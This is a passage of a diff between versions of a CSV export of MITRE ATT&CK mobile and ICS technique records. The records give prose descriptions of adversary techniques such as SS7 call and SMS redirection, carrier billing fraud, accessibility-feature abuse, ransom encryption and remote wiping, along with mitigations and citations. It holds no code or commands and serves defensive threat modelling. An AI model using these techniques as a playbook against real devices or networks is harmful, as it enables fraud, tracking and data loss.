'https://attack.mitre.org/techniques/T1471', 'external_id': 'T1471'}, {'source_name': 'NIST Mobile Threat Catalogue', 'url': 'https://pages.nist.gov/mobile-threat-catalogue/application-threats/APP-28.html', 'external_id': 'APP-28'}]",3.0,attack-pattern,attack-pattern--d9e88203-2b5d-405f-a406-2933b1e3d7e4,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2017-10-25T14:48:10.285Z,2019-10-01T13:51:22.001Z,Data Encrypted for Impact,"An adversary may encrypt files stored on the mobile device to prevent the user from accessing them, for example with the intent of only unlocking access to the files after a ransom is paid. Without escalated privileges, the adversary is generally limited to only encrypting files in external/shared storage locations. This technique has been demonstrated on Android. We are unaware of any demonstrated use on iOS.",['impact'],https://attack.mitre.org/techniques/T1471,mitre-mobile-attack,T1471,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,,,,,,['Android'],,,,,,,,['Post-Adversary Device Access'],MOB-T1074 +"[{'kill_chain_name': 'mitre-mobile-attack', 'phase_name': 'network-effects'}]","[{'source_name': 'mitre-mobile-attack', 'url': 'https://attack.mitre.org/techniques/T1450', 'external_id': 'T1450'}, {'source_name': 'NIST Mobile Threat Catalogue', 'url': 'https://pages.nist.gov/mobile-threat-catalogue/cellular-threats/CEL-38.html', 'external_id': 'CEL-38'}, {'source_name': 'Engel-SS7', 'description': 'Tobias Engel. (2014, December). SS7: Locate. Track. Manipulate.. Retrieved December 19, 2016.', 'url': 'https://berlin.ccc.de/~tobias/31c3-ss7-locate-track-manipulate.pdf'}, {'source_name': 'Engel-SS7-2008', 'description': 'Tobias Engel. (2008, December). Locating Mobile Phones using SS7. Retrieved December 19, 2016.', 'url': 'https://www.youtube.com/watch?v=q0n5ySqbfdI'}, {'source_name': '3GPP-Security', 'description': '3GPP. (2000, January). A Guide to 3rd Generation Security. Retrieved December 19, 2016.', 'url': 'http://www.3gpp.org/ftp/tsg_sa/wg3_security/_specs/33900-120.pdf'}, {'source_name': 'Positive-SS7', 'description': 'Positive Technologies. (n.d.). SS7 Attack Discovery. Retrieved December 19, 2016.', 'url': 'https://www.ptsecurity.com/upload/ptcom/PT-SS7-AD-Data-Sheet-eng.pdf'}, {'source_name': 'CSRIC5-WG10-FinalReport', 'description': 'Communications Security, Reliability, Interoperability Council (CSRIC). (2017, March). Working Group 10 Legacy Systems Risk Reductions Final Report. Retrieved May 24, 2017.', 'url': 'https://www.fcc.gov/files/csric5-wg10-finalreport031517pdf'}, {'source_name': 'CSRIC-WG1-FinalReport', 'description': 'CSRIC-WG1-FinalReport'}]",1.1,attack-pattern,attack-pattern--52651225-0b3a-482d-aa7e-10618fd063b5,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2017-10-25T14:48:09.864Z,2019-02-03T15:06:10.014Z,Exploit SS7 to Track Device Location,An adversary could exploit signaling system vulnerabilities to track the location of mobile devices. (Citation: Engel-SS7) (Citation: Engel-SS7-2008) (Citation: 3GPP-Security) (Citation: Positive-SS7) (Citation: CSRIC5-WG10-FinalReport),['network-effects'],https://attack.mitre.org/techniques/T1450,mitre-mobile-attack,T1450,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,,,"Network carriers may be able to use firewalls, Intrusion Detection Systems (IDS), or Intrusion Prevention Systems (IPS) to detect and/or block SS7 exploitation.(Citation: CSRIC-WG1-FinalReport) The CSRIC also suggests threat information sharing between telecommunications industry members.",,,"['Android', 'iOS']",,,,,,,,['Without Adversary Device Access'],MOB-T1053 +"[{'kill_chain_name': 'mitre-mobile-attack', 'phase_name': 'impact'}]","[{'source_name': 'mitre-mobile-attack', 'url': 'https://attack.mitre.org/techniques/T1448', 'external_id': 'T1448'}, {'source_name': 'Google Bread', 'description': 'A. Guertin, V. Kotov, Android Security & Privacy Team. (2020, January 9). PHA Family Highlights: Bread (and Friends) . Retrieved April 27, 2020.', 'url': 'https://security.googleblog.com/2020/01/pha-family-highlights-bread-and-friends.html'}, {'source_name': 'AndroidSecurity2014', 'description': 'Google. (2014). Android Security 2014 Year in Review. Retrieved December 12, 2016.', 'url': 'https://static.googleusercontent.com/media/source.android.com/en//security/reports/Google_Android_Security_2014_Report_Final.pdf'}]",2.0,attack-pattern,attack-pattern--8f0e39c6-82c9-41ec-9f93-5696c0f2e274,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2017-10-25T14:48:09.082Z,2020-05-04T15:40:20.943Z,Carrier Billing Fraud,"A malicious app may trigger fraudulent charges on a victim’s carrier billing statement in several different ways, including SMS toll fraud and SMS shortcodes that make purchases. Performing SMS fraud relies heavily upon the fact that, when making SMS purchases, the carriers perform device verification but not user verification. This allows adversaries to make purchases on behalf of the user, with little or no user interaction.(Citation: Google Bread) @@ -4357,30 +3984,30 @@ Malicious applications may also perform toll billing, which occurs when carriers On iOS, apps cannot send SMS messages. -On Android, apps must hold the `SEND_SMS` permission to send SMS messages. Additionally, Android version 4.2 and above has mitigations against this threat by requiring user consent before allowing SMS messages to be sent to premium numbers (Citation: AndroidSecurity2014).",attack-pattern--8f0e39c6-82c9-41ec-9f93-5696c0f2e274,attack-pattern,['impact'],2020-05-04T15:40:20.943Z,2017-10-25T14:48:09.082Z,"Starting with Android 4.2 the user is prompted and must provide consent before applications can send SMS messages to premium numbers.(Citation: AndroidSecurity2014) +On Android, apps must hold the `SEND_SMS` permission to send SMS messages. Additionally, Android version 4.2 and above has mitigations against this threat by requiring user consent before allowing SMS messages to be sent to premium numbers (Citation: AndroidSecurity2014).",['impact'],https://attack.mitre.org/techniques/T1448,mitre-mobile-attack,T1448,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,,,"Starting with Android 4.2 the user is prompted and must provide consent before applications can send SMS messages to premium numbers.(Citation: AndroidSecurity2014) -On Android 6.0 and up, the user can view which applications have permission to send SMS messages through the device settings screen, and the user can choose to revoke the permissions.",,,,,['Android'],,,,,,,,,MOB-T1051,,,,,['Post-Adversary Device Access'] -"[{'source_name': 'mitre-mobile-attack', 'external_id': 'T1453', 'url': 'https://attack.mitre.org/techniques/T1453'}, {'url': 'https://www.skycure.com/blog/accessibility-clickjacking/', 'description': 'Yair Amit. (2016, March 3). “Accessibility Clickjacking” – The Next Evolution in Android Malware that Impacts More Than 500 Million Devices. Retrieved December 21, 2016.', 'source_name': 'Skycure-Accessibility'}, {'description': 'Lukáš Štefanko. (2018, December 11). Android Trojan steals money from PayPal accounts even with 2FA on. Retrieved July 11, 2019.', 'url': 'https://www.welivesecurity.com/2018/12/11/android-trojan-steals-money-paypal-accounts-2fa/', 'source_name': 'android-trojan-steals-paypal-2fa'}, {'source_name': 'banking-trojans-google-play', 'url': 'https://www.welivesecurity.com/2018/10/24/banking-trojans-continue-surface-google-play/', 'description': 'Lukáš Štefanko. (2018, October 24). Banking Trojans continue to surface on Google Play. Retrieved July 11, 2019.'}]","[{'kill_chain_name': 'mitre-mobile-attack', 'phase_name': 'collection'}, {'kill_chain_name': 'mitre-mobile-attack', 'phase_name': 'credential-access'}, {'kill_chain_name': 'mitre-mobile-attack', 'phase_name': 'impact'}, {'kill_chain_name': 'mitre-mobile-attack', 'phase_name': 'defense-evasion'}]",2.0,False,https://attack.mitre.org/techniques/T1453,mitre-mobile-attack,T1453,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,Abuse Accessibility Features,"**This technique has been deprecated. Please use [Input Capture](https://attack.mitre.org/techniques/T1417), [Input Injection](https://attack.mitre.org/techniques/T1516), and [Input Prompt](https://attack.mitre.org/techniques/T1411) where appropriate.** +On Android 6.0 and up, the user can view which applications have permission to send SMS messages through the device settings screen, and the user can choose to revoke the permissions.",False,,['Android'],,,,,,,,['Post-Adversary Device Access'],MOB-T1051 +"[{'kill_chain_name': 'mitre-mobile-attack', 'phase_name': 'remote-service-effects'}]","[{'source_name': 'mitre-mobile-attack', 'url': 'https://attack.mitre.org/techniques/T1469', 'external_id': 'T1469'}, {'source_name': 'NIST Mobile Threat Catalogue', 'url': 'https://pages.nist.gov/mobile-threat-catalogue/ecosystem-threats/ECO-5.html', 'external_id': 'ECO-5'}, {'source_name': 'NIST Mobile Threat Catalogue', 'url': 'https://pages.nist.gov/mobile-threat-catalogue/emm-threats/EMM-7.html', 'external_id': 'EMM-7'}, {'source_name': 'Honan-Hacking', 'description': 'Mat Honan. (2012, August 6). How Apple and Amazon Security Flaws Led to My Epic Hacking. Retrieved December 29, 2016.', 'url': 'https://www.wired.com/2012/08/apple-amazon-mat-honan-hacking/'}]",1.0,attack-pattern,attack-pattern--537ea573-8a1c-468c-956b-d16d2ed9d067,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2017-10-25T14:48:07.827Z,2018-10-17T00:14:20.652Z,Remotely Wipe Data Without Authorization,An adversary who is able to obtain unauthorized access to or misuse authorized access to cloud services (e.g. Google's Android Device Manager or Apple iCloud's Find my iPhone) or to an EMM console could use that access to wipe enrolled devices (Citation: Honan-Hacking).,['remote-service-effects'],https://attack.mitre.org/techniques/T1469,mitre-mobile-attack,T1469,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,,,Google provides the ability for users to view their general account activity. Apple iCloud also provides notifications to users of account activity.,,,"['Android', 'iOS']",,,,,,,,['Without Adversary Device Access'],MOB-T1072 +"[{'kill_chain_name': 'mitre-mobile-attack', 'phase_name': 'impact'}]","[{'source_name': 'mitre-mobile-attack', 'url': 'https://attack.mitre.org/techniques/T1452', 'external_id': 'T1452'}]",1.0,attack-pattern,attack-pattern--76c12fc8-a4eb-45d6-a3b7-e371a7248f69,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2017-10-25T14:48:07.460Z,2019-07-03T20:25:59.845Z,Manipulate App Store Rankings or Ratings,An adversary could use access to a compromised device's credentials to attempt to manipulate app store rankings or ratings by triggering application downloads or posting fake reviews of applications. This technique likely requires privileged access (a rooted or jailbroken device).,['impact'],https://attack.mitre.org/techniques/T1452,mitre-mobile-attack,T1452,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,,,,,,"['Android', 'iOS']",,,,,,,,['Post-Adversary Device Access'],MOB-T1055 +"[{'kill_chain_name': 'mitre-mobile-attack', 'phase_name': 'initial-access'}]","[{'source_name': 'mitre-mobile-attack', 'url': 'https://attack.mitre.org/techniques/T1456', 'external_id': 'T1456'}, {'source_name': 'NIST Mobile Threat Catalogue', 'url': 'https://pages.nist.gov/mobile-threat-catalogue/cellular-threats/CEL-22.html', 'external_id': 'CEL-22'}, {'source_name': 'Zimperium-Stagefright', 'description': 'Zimperium. (2015, January 27). Experts Found a Unicorn in the Heart of Android. Retrieved December 23, 2016.', 'url': 'https://blog.zimperium.com/experts-found-a-unicorn-in-the-heart-of-android/'}]",1.0,attack-pattern,attack-pattern--fd339382-bfec-4bf0-8d47-1caedc9e7e57,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2017-10-25T14:48:06.822Z,2018-10-17T00:14:20.652Z,Drive-by Compromise,"As described by [Drive-by Compromise](https://attack.mitre.org/techniques/T1189), a drive-by compromise is when an adversary gains access to a system through a user visiting a website over the normal course of browsing. With this technique, the user's web browser is targeted for exploitation. For example, a website may contain malicious media content intended to exploit vulnerabilities in media parsers as demonstrated by the Android Stagefright vulnerability (Citation: Zimperium-Stagefright). -A malicious app could abuse Android's accessibility features to capture sensitive data or perform other malicious actions.(Citation: Skycure-Accessibility) +(This technique was formerly known as Malicious Web Content. It has been renamed to better align with ATT&CK for Enterprise.)",['initial-access'],https://attack.mitre.org/techniques/T1456,mitre-mobile-attack,T1456,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,,,,,,"['Android', 'iOS']",,,,,,,,['Post-Adversary Device Access'],MOB-T1059 +"[{'kill_chain_name': 'mitre-mobile-attack', 'phase_name': 'network-effects'}]","[{'source_name': 'mitre-mobile-attack', 'url': 'https://attack.mitre.org/techniques/T1449', 'external_id': 'T1449'}, {'source_name': 'NIST Mobile Threat Catalogue', 'url': 'https://pages.nist.gov/mobile-threat-catalogue/cellular-threats/CEL-37.html', 'external_id': 'CEL-37'}, {'source_name': 'Engel-SS7', 'description': 'Tobias Engel. (2014, December). SS7: Locate. Track. Manipulate.. Retrieved December 19, 2016.', 'url': 'https://berlin.ccc.de/~tobias/31c3-ss7-locate-track-manipulate.pdf'}, {'source_name': 'Engel-SS7-2008', 'description': 'Tobias Engel. (2008, December). Locating Mobile Phones using SS7. Retrieved December 19, 2016.', 'url': 'https://www.youtube.com/watch?v=q0n5ySqbfdI'}, {'source_name': '3GPP-Security', 'description': '3GPP. (2000, January). A Guide to 3rd Generation Security. Retrieved December 19, 2016.', 'url': 'http://www.3gpp.org/ftp/tsg_sa/wg3_security/_specs/33900-120.pdf'}, {'source_name': 'Positive-SS7', 'description': 'Positive Technologies. (n.d.). SS7 Attack Discovery. Retrieved December 19, 2016.', 'url': 'https://www.ptsecurity.com/upload/ptcom/PT-SS7-AD-Data-Sheet-eng.pdf'}, {'source_name': 'CSRIC5-WG10-FinalReport', 'description': 'Communications Security, Reliability, Interoperability Council (CSRIC). (2017, March). Working Group 10 Legacy Systems Risk Reductions Final Report. Retrieved May 24, 2017.', 'url': 'https://www.fcc.gov/files/csric5-wg10-finalreport031517pdf'}, {'source_name': 'TheRegister-SS7', 'description': 'Iain Thomson. (2017, May 3). After years of warnings, mobile network hackers exploit SS7 flaws to drain bank accounts. Retrieved November 8, 2018.', 'url': 'https://www.theregister.co.uk/2017/05/03/hackers_fire_up_ss7_flaw/'}]",1.2,attack-pattern,attack-pattern--fb3fa94a-3aee-4ab0-b7e7-abdf0a51286d,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2017-10-25T14:48:06.524Z,2021-07-28T18:43:50.490Z,Exploit SS7 to Redirect Phone Calls/SMS,An adversary could exploit signaling system vulnerabilities to redirect calls or text messages (SMS) to a phone number under the attacker's control. The adversary could then act as an adversary-in-the-middle to intercept or manipulate the communication. (Citation: Engel-SS7) (Citation: Engel-SS7-2008) (Citation: 3GPP-Security) (Citation: Positive-SS7) (Citation: CSRIC5-WG10-FinalReport) Interception of SMS messages could enable adversaries to obtain authentication codes used for multi-factor authentication(Citation: TheRegister-SS7).,['network-effects'],https://attack.mitre.org/techniques/T1449,mitre-mobile-attack,T1449,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,,,"Network carriers may be able to use firewalls, Intrusion Detection Systems (IDS), or Intrusion Prevention Systems (IPS) to detect and/or block SS7 exploitation as described by the Communications, Security, Reliability, and Interoperability Council (CSRIC). (Citation: CSRIC5-WG10-FinalReport) The CSRIC also suggests threat information sharing between telecommunications industry members.",False,,"['Android', 'iOS']",,,,,,,,['Without Adversary Device Access'],MOB-T1052 +"[{'kill_chain_name': 'mitre-ics-attack', 'phase_name': 'initial-access-ics'}]","[{'source_name': 'mitre-ics-attack', 'url': 'https://collaborate.mitre.org/attackics/index.php/Technique/T0864', 'external_id': 'T0864'}, {'source_name': 'NERC June 2021', 'description': ' North American Electric Reliability Corporation. (2021, June 28). Glossary of Terms Used in NERC Reliability Standards. Retrieved October 11, 2021.', 'url': 'https://www.nerc.com/files/glossary_of_terms.pdf'}, {'source_name': 'Maroochy - MITRE - 200808', 'description': 'Marshall Abrams. (2008, July 23). Malicious Control System Cyber Security Attack Case Study– Maroochy Water Services, Australia. Retrieved March 27, 2018.', 'url': 'https://www.mitre.org/sites/default/files/pdf/08%201145.pdf'}, {'source_name': 'NIST Apr 2013', 'description': 'National Institute of Standards and Technology. (2013, April). Security and Privacy Controls for Federal Information Systems and Organizations. Retrieved September 17, 2020.', 'url': 'https://nvlpubs.nist.gov/nistpubs/SpecialPublications/NIST.SP.800-53r4.pdf'}, {'source_name': 'NAFT Dec 2019', 'description': 'North America Transmission Forum. (2019, December). NATF Transient Cyber Asset Guidance. Retrieved September 25, 2020.', 'url': 'https://www.natf.net/docs/natf/documents/resources/security/natf-transient-cyber-asset-guidance.pdf'}, {'source_name': 'Emerson Exchange', 'description': 'Emerson Exchange. (n.d.). Increase Security with TPM, Secure Boot, and Trusted Boot. Retrieved September 25, 2020.', 'url': 'https://emersonexchange365.com/products/control-safety-systems/f/plc-pac-systems-industrial-computing-forum/8383/increase-security-with-tpm-secure-boot-and-trusted-boot'}, {'source_name': 'National Security Agency Feb 2016', 'description': 'National Security Agency. (2016, February). Position Zero: Integrity Checking Windows-Based ICS/SCADA Systems. Retrieved September 25, 2020.', 'url': 'https://apps.nsa.gov/iaarchive/library/ia-guidance/security-configuration/industrial-control-systems/position-zero-integrity-checking-windows-based-ics-scada-systems.cfm'}]",,attack-pattern,attack-pattern--35392fb4-a31d-4c6a-b9f2-1c65b7f5e6b9,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2021-10-14T15:25:32.143Z,2021-10-14T15:25:32.143Z,Transient Cyber Asset,"Adversaries may target devices that are transient across ICS networks and external networks. Normally, transient assets are brought into an environment by authorized personnel and do not remain in that environment on a permanent basis. (Citation: NERC June 2021) Transient assets are commonly needed to support management functions and may be more common in systems where a remotely managed asset is not feasible, external connections for remote access do not exist, or 3rd party contractor/vendor access is required. -Adversaries may abuse accessibility features on Android to emulate a user's clicks, for example to steal money from a user's bank account.(Citation: android-trojan-steals-paypal-2fa)(Citation: banking-trojans-google-play) +Adversaries may take advantage of transient assets in different ways. For instance, adversaries may target a transient asset when it is connected to an external network and then leverage its trusted access in another environment to launch an attack. They may also take advantage of installed applications and libraries that are used by legitimate end-users to interact with control system devices. -Adversaries may abuse accessibility features on Android devices to evade defenses by repeatedly clicking the ""Back"" button when a targeted app manager or mobile security app is launched, or when strings suggesting uninstallation are detected in the foreground. This effectively prevents the malicious application from being uninstalled.(Citation: android-trojan-steals-paypal-2fa)",attack-pattern--2204c371-6100-4ae0-82f3-25c07c29772a,attack-pattern,"['collection', 'credential-access', 'impact', 'defense-evasion']",2020-03-30T14:03:43.761Z,2017-10-25T14:48:08.613Z,,,"['Lukáš Štefanko, ESET']",,,['Android'],,,,,,,,True,MOB-T1056,,,,,['Post-Adversary Device Access'] -"[{'source_name': 'mitre-mobile-attack', 'url': 'https://attack.mitre.org/techniques/T1469', 'external_id': 'T1469'}, {'source_name': 'NIST Mobile Threat Catalogue', 'url': 'https://pages.nist.gov/mobile-threat-catalogue/ecosystem-threats/ECO-5.html', 'external_id': 'ECO-5'}, {'source_name': 'NIST Mobile Threat Catalogue', 'url': 'https://pages.nist.gov/mobile-threat-catalogue/emm-threats/EMM-7.html', 'external_id': 'EMM-7'}, {'source_name': 'Honan-Hacking', 'description': 'Mat Honan. (2012, August 6). How Apple and Amazon Security Flaws Led to My Epic Hacking. Retrieved December 29, 2016.', 'url': 'https://www.wired.com/2012/08/apple-amazon-mat-honan-hacking/'}]","[{'kill_chain_name': 'mitre-mobile-attack', 'phase_name': 'remote-service-effects'}]",1.0,,https://attack.mitre.org/techniques/T1469,mitre-mobile-attack,T1469,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,Remotely Wipe Data Without Authorization,An adversary who is able to obtain unauthorized access to or misuse authorized access to cloud services (e.g. Google's Android Device Manager or Apple iCloud's Find my iPhone) or to an EMM console could use that access to wipe enrolled devices (Citation: Honan-Hacking).,attack-pattern--537ea573-8a1c-468c-956b-d16d2ed9d067,attack-pattern,['remote-service-effects'],2018-10-17T00:14:20.652Z,2017-10-25T14:48:07.827Z,Google provides the ability for users to view their general account activity. Apple iCloud also provides notifications to users of account activity.,,,,,"['Android', 'iOS']",,,,,,,,,MOB-T1072,,,,,['Without Adversary Device Access'] -"[{'source_name': 'mitre-mobile-attack', 'url': 'https://attack.mitre.org/techniques/T1452', 'external_id': 'T1452'}]","[{'kill_chain_name': 'mitre-mobile-attack', 'phase_name': 'impact'}]",1.0,,https://attack.mitre.org/techniques/T1452,mitre-mobile-attack,T1452,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,Manipulate App Store Rankings or Ratings,An adversary could use access to a compromised device's credentials to attempt to manipulate app store rankings or ratings by triggering application downloads or posting fake reviews of applications. This technique likely requires privileged access (a rooted or jailbroken device).,attack-pattern--76c12fc8-a4eb-45d6-a3b7-e371a7248f69,attack-pattern,['impact'],2019-07-03T20:25:59.845Z,2017-10-25T14:48:07.460Z,,,,,,"['Android', 'iOS']",,,,,,,,,MOB-T1055,,,,,['Post-Adversary Device Access'] -"[{'source_name': 'mitre-mobile-attack', 'url': 'https://attack.mitre.org/techniques/T1456', 'external_id': 'T1456'}, {'source_name': 'NIST Mobile Threat Catalogue', 'url': 'https://pages.nist.gov/mobile-threat-catalogue/cellular-threats/CEL-22.html', 'external_id': 'CEL-22'}, {'source_name': 'Zimperium-Stagefright', 'description': 'Zimperium. (2015, January 27). Experts Found a Unicorn in the Heart of Android. Retrieved December 23, 2016.', 'url': 'https://blog.zimperium.com/experts-found-a-unicorn-in-the-heart-of-android/'}]","[{'kill_chain_name': 'mitre-mobile-attack', 'phase_name': 'initial-access'}]",1.0,,https://attack.mitre.org/techniques/T1456,mitre-mobile-attack,T1456,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,Drive-by Compromise,"As described by [Drive-by Compromise](https://attack.mitre.org/techniques/T1189), a drive-by compromise is when an adversary gains access to a system through a user visiting a website over the normal course of browsing. With this technique, the user's web browser is targeted for exploitation. For example, a website may contain malicious media content intended to exploit vulnerabilities in media parsers as demonstrated by the Android Stagefright vulnerability (Citation: Zimperium-Stagefright). +Transient assets, in some cases, may not be deployed with a secure configuration leading to weaknesses that could allow an adversary to propagate malicious executable code, e.g., the transient asset may be infected by malware and when connected to an ICS environment the malware propagates onto other systems. -(This technique was formerly known as Malicious Web Content. It has been renamed to better align with ATT&CK for Enterprise.)",attack-pattern--fd339382-bfec-4bf0-8d47-1caedc9e7e57,attack-pattern,['initial-access'],2018-10-17T00:14:20.652Z,2017-10-25T14:48:06.822Z,,,,,,"['Android', 'iOS']",,,,,,,,,MOB-T1059,,,,,['Post-Adversary Device Access'] -"[{'source_name': 'mitre-mobile-attack', 'url': 'https://attack.mitre.org/techniques/T1449', 'external_id': 'T1449'}, {'url': 'https://pages.nist.gov/mobile-threat-catalogue/cellular-threats/CEL-37.html', 'source_name': 'NIST Mobile Threat Catalogue', 'external_id': 'CEL-37'}, {'source_name': 'Engel-SS7', 'description': 'Tobias Engel. (2014, December). SS7: Locate. Track. Manipulate.. Retrieved December 19, 2016.', 'url': 'https://berlin.ccc.de/~tobias/31c3-ss7-locate-track-manipulate.pdf'}, {'source_name': 'Engel-SS7-2008', 'description': 'Tobias Engel. (2008, December). Locating Mobile Phones using SS7. Retrieved December 19, 2016.', 'url': 'https://www.youtube.com/watch?v=q0n5ySqbfdI'}, {'source_name': '3GPP-Security', 'description': '3GPP. (2000, January). A Guide to 3rd Generation Security. Retrieved December 19, 2016.', 'url': 'http://www.3gpp.org/ftp/tsg_sa/wg3_security/_specs/33900-120.pdf'}, {'source_name': 'Positive-SS7', 'description': 'Positive Technologies. (n.d.). SS7 Attack Discovery. Retrieved December 19, 2016.', 'url': 'https://www.ptsecurity.com/upload/ptcom/PT-SS7-AD-Data-Sheet-eng.pdf'}, {'source_name': 'CSRIC5-WG10-FinalReport', 'description': 'Communications Security, Reliability, Interoperability Council (CSRIC). (2017, March). Working Group 10 Legacy Systems Risk Reductions Final Report. Retrieved May 24, 2017.', 'url': 'https://www.fcc.gov/files/csric5-wg10-finalreport031517pdf'}, {'description': 'Iain Thomson. (2017, May 3). After years of warnings, mobile network hackers exploit SS7 flaws to drain bank accounts. Retrieved November 8, 2018.', 'url': 'https://www.theregister.co.uk/2017/05/03/hackers_fire_up_ss7_flaw/', 'source_name': 'TheRegister-SS7'}]","[{'kill_chain_name': 'mitre-mobile-attack', 'phase_name': 'network-effects'}]",1.1,,https://attack.mitre.org/techniques/T1449,mitre-mobile-attack,T1449,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,Exploit SS7 to Redirect Phone Calls/SMS,An adversary could exploit signaling system vulnerabilities to redirect calls or text messages (SMS) to a phone number under the attacker's control. The adversary could then act as a man-in-the-middle to intercept or manipulate the communication. (Citation: Engel-SS7) (Citation: Engel-SS7-2008) (Citation: 3GPP-Security) (Citation: Positive-SS7) (Citation: CSRIC5-WG10-FinalReport) Interception of SMS messages could enable adversaries to obtain authentication codes used for multi-factor authentication(Citation: TheRegister-SS7).,attack-pattern--fb3fa94a-3aee-4ab0-b7e7-abdf0a51286d,attack-pattern,['network-effects'],2019-02-03T16:28:52.821Z,2017-10-25T14:48:06.524Z,"Network carriers may be able to use firewalls, Intrusion Detection Systems (IDS), or Intrusion Prevention Systems (IPS) to detect and/or block SS7 exploitation as described by the Communications, Security, Reliability, and Interoperability Council (CSRIC). (Citation: CSRIC5-WG10-FinalReport) The CSRIC also suggests threat information sharing between telecommunications industry members.",,,,,"['Android', 'iOS']",,,,,,,,,MOB-T1052,,,,,['Without Adversary Device Access'] -"[{'url': 'https://collaborate.mitre.org/attackics/index.php/Technique/T0888', 'source_name': 'mitre-ics-attack', 'external_id': 'T0888'}]","[{'kill_chain_name': 'mitre-ics-attack', 'phase_name': 'discovery-ics'}]",,,https://collaborate.mitre.org/attackics/index.php/Technique/T0888,mitre-ics-attack,T0888,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,Remote System Information Discovery,"An adversary may attempt to get detailed information about remote systems and their peripherals, such as make/model, role, and configuration. Adversaries may use information from Remote System Information Discovery to aid in targeting and shaping follow-on behaviors. For example, the system’s operational role and model information can dictate whether it is a relevant target for the adversary’s operational objectives. In addition, the system’s configuration may be used to scope subsequent technique usage. Requests for system information are typically implemented using automation and management protocols and are often automatically requested by vendor software during normal operation. This information may be used to tailor management actions, such as program download and system or module firmware. An adversary may leverage this same information by issuing calls directly to the system’s API.",attack-pattern--2fedbe69-581f-447d-8a78-32ee7db939a9,attack-pattern,['discovery-ics'],2021-04-13T12:45:26.506Z,2021-04-13T12:45:26.506Z,,"['Network protocol analysis', 'Packet capture']",,,,"['Safety Instrumented System/Protection Relay', 'Field Controller/RTU/PLC/IED']",,,,,,,,,,,,,, -"[{'url': 'https://collaborate.mitre.org/attackics/index.php/Technique/T0834', 'source_name': 'mitre-ics-attack', 'external_id': 'T0834'}, {'description': 'The MITRE Corporation. (2017, May 31). ATT&CK T1106: Native API. Retrieved April 26, 2021.', 'source_name': 'EAttack Native API', 'url': 'https://attack.mitre.org/techniques/T1106/'}]","[{'kill_chain_name': 'mitre-ics-attack', 'phase_name': 'execution-ics'}]",,,https://collaborate.mitre.org/attackics/index.php/Technique/T0834,mitre-ics-attack,T0834,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,Native API,"Adversaries may directly interact with the native OS application programming interface (API) to access system functions. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.(Citation: EAttack Native API) These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations. Functionality provided by native APIs are often also exposed to user-mode applications via interfaces and libraries. For example, functions such as memcpy and direct operations on memory registers can be used to modify user and system memory space.",attack-pattern--b52870cc-83f3-473c-b895-72d91751030b,attack-pattern,['execution-ics'],2021-04-26T13:47:26.506Z,2021-04-13T12:36:26.506Z,,"['API monitoring', 'Process monitoring', 'System calls']",,,,"['Control Server', 'Data Historian', 'Field Controller/RTU/PLC/IED', 'Human-Machine Interface', 'Input/Output Server', 'Safety Instrumented System/Protection Relay']",,,,,,,,,,,,,, -"[{'url': 'https://collaborate.mitre.org/attackics/index.php/Technique/T0890', 'source_name': 'mitre-ics-attack', 'external_id': 'T0890'}, {'description': 'The MITRE Corporation. (n.d.). ATT&CK T1068: Exploitation for Privilege Escalation. Retrieved April 12, 2021.', 'source_name': 'ATT&CK Exploitation for Privilege Escalation', 'url': 'https://attack.mitre.org/techniques/T1068/'}]","[{'kill_chain_name': 'mitre-ics-attack', 'phase_name': 'privilege-escalation-ics'}]",,,https://collaborate.mitre.org/attackics/index.php/Technique/T0890,mitre-ics-attack,T0890,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,Exploitation for Privilege Escalation,"Adversaries may exploit software vulnerabilities in an attempt to elevate privileges. Exploitation of a software vulnerability occurs when an adversary takes advantage of a programming error in a program, service, or within the operating system software or kernel itself to execute adversary-controlled code. Security constructs such as permission levels will often hinder access to information and use of certain techniques, so adversaries will likely need to perform privilege escalation to include use of software exploitation to circumvent those restrictions. When initially gaining access to a system, an adversary may be operating within a lower privileged process which will prevent them from accessing certain resources on the system. Vulnerabilities may exist, usually in operating system components and software commonly running at higher permissions, that can be exploited to gain higher levels of access on the system. This could enable someone to move from unprivileged or user level permissions to SYSTEM or root permissions depending on the component that is vulnerable. This may be a necessary step for an adversary compromising an endpoint system that has been properly configured and limits other privilege escalation methods.",attack-pattern--cfe68e93-ce94-4c0f-a57d-3aa72cedd618,attack-pattern,['privilege-escalation-ics'],2021-04-13T12:08:26.506Z,2021-04-13T12:08:26.506Z,,,,,,"['Human-Machine Interface', 'Safety Instrumented System/Protection Relay']",,,,,,,,,,,,,, -"[{'url': 'https://collaborate.mitre.org/attackics/index.php/Technique/T0821', 'source_name': 